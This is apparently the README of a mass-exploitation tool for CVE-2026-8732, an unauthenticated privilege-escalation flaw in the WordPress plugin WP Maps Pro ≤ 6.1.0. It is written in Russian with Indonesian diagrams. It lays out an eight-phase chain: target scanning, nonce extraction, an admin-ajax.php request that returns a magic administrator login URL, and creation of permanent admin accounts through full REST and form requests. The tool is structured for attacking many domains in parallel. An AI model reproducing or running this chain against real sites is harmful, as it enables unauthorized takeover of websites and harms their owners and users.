
Автоматизированный 8-фазный эксплойт для CVE-2026-8732, неаутентифицированного повышения привилегий в WP Maps Pro ≤ 6.1.0. Использует multiprocessing и asyncio для сканирования целей, извлечения nonce и создания учётных записей администратора.
8-фазная автоматизация эксплуатации | Multiprocessing + Asyncio | Создание администратора с верификацией
Плагин WordPress WP Maps Pro версии ≤ 6.1.0 содержит уязвимость повышения привилегий без аутентификации. Злоумышленник без каких-либо учётных данных может создать учётную запись администратора и получить полный контроль над сайтом.
Уязвимость происходит из функции «Temporary Access», предназначенной для команды поддержки вендора FlipperCode, но открытой для публики без надлежащей защиты.
| Информация | Детали |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (КРИТИЧЕСКИЙ) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Плагин | WP Maps Pro (wp-google-map-gold) |
| Вендор | FlipperCode |
| Затронутые версии | ≤ 6.1.0 |
| Исправленная версия | 6.1.1 |
| Тип | Missing Authentication for Critical Function (CWE-306) |
| Влияние | Создание администратора без аутентификации → полный контроль над сайтом |
| Автор PoC | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ KELEMAHAN 1 — Endpoint Terekspos Tanpa Autentikasi │
│ ▸ AJAX action didaftarkan dengan wp_ajax_nopriv_ │
│ ▸ Siapapun bisa mengakses tanpa login │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ KELEMAHAN 2 — Nonce Bocor di Halaman Publik │
│ ▸ Objek wpgmp_local.nonce disematkan di setiap halaman │
│ ▸ Penyerang bisa mengekstrak nonce dari HTML source │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ KELEMAHAN 3 — Tidak Ada Pemeriksaan Hak Akses │
│ ▸ Fungsi callback hanya memverifikasi nonce │
│ ▸ Tidak ada current_user_can() — tidak ada pertahanan lain│
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ FASE 1 │──▶│ FASE 2 │──▶│ FASE 3 │──▶│ FASE 4 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ RENTAN
▼
┌──────────────────────────────────────────────────────────┐
│ FASE 5 — EKSTRAKSI NONCE │
│ │
│ GRUP A (API) GRUP B (Konten) GRUP C │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Homepage links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom feed Force │
│ │
│ Target: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ NONCE DITEMUKAN
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ FASE 6 │──▶│ FASE 7 │──▶│ FASE 8 │
│ EXPLOIT │ │ VERIFY │ │ ADD ADMIN│
│ POST AJAX│ │ Magic URL│ │ PERMANEN │
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ WP-Admin │
│ temp=false│ │ check │ │ Form │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ ADMIN DIBUAT
Login: wp_xxxx / pass
Role: administrator
| Фаза | Название | Функция | Запросы |
|---|---|---|---|
| 1 | Resolve | Выбор HTTPS/HTTP параллельно | 1 |
| 2 | Check WP | Проверка, что цель — это WordPress | 0 |
| 3 | Detect Plugin | Проверка индикаторов WP Maps в 3 слоях | 0-4 |
| 4 | Version + WAF | Чтение readme.txt / CSS ?ver= + обнаружение WAF | 1 |
| 5 | Извлечение Nonce | 7 методов поиска в 3 параллельных группах | 0-150 |
| 6 | Эксплуатация | POST admin-ajax.php → создание временного аккаунта администратора | 1 |
| 7 | Проверка | Доступ к magic URL → подтверждение сессии администратора | 2 |
| 8 | Добавление администратора | REST API (основной) + форма WP-Admin (резервная) | 4 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false
Ответ при наличии уязвимости:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
Этот magic URL обеспечивает автоматический вход в качестве
fc_user_XXXXX(роль: administrator).
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- KUNCI: konfirmasi password lemah
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
Ключевой момент: параметр
pw_weak=1обязателен — WordPress отклоняет слабый пароль без этого параметра.
CVE-2026-8732.py
│
├── 📦 NonceFinder — Pencari nonce dengan 7 metode
│ ├── Grup A (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── Grup B (Konten): M4 Sitemap, M5 Homepage links, M6 RSS feed
│ └── Grup C (Paksa): M7 Slug brute force (30+ slug umum)
│
├── ⚔️ Exploiter — Mesin eksploitasi 8 fase
│ ├── resolve() → Fase 1: Pemilihan protokol
│ ├── check_wp() → Fase 2: Verifikasi WordPress
│ ├── detect_plugin() → Fase 3: Deteksi plugin + early nonce
│ ├── detect_version() → Fase 4: Deteksi versi + WAF
│ ├── exploit() → Fase 6: Eksploitasi inti
│ ├── verify() → Fase 7: Verifikasi login admin
│ └── add_admin() → Fase 8: Tambah admin permanen
│
├── 🔧 Worker Process — Proses pekerja multiprocessing
│ ├── producer() → Baca domain dari mp.Queue
│ └── consumer() (N) → Eksekusi scan paralel
│
└── 🖥️ Scanner — Antarmuka pengguna
├── single() → Mode target tunggal (interaktif)
└── multi() → Mode multi-target (massal)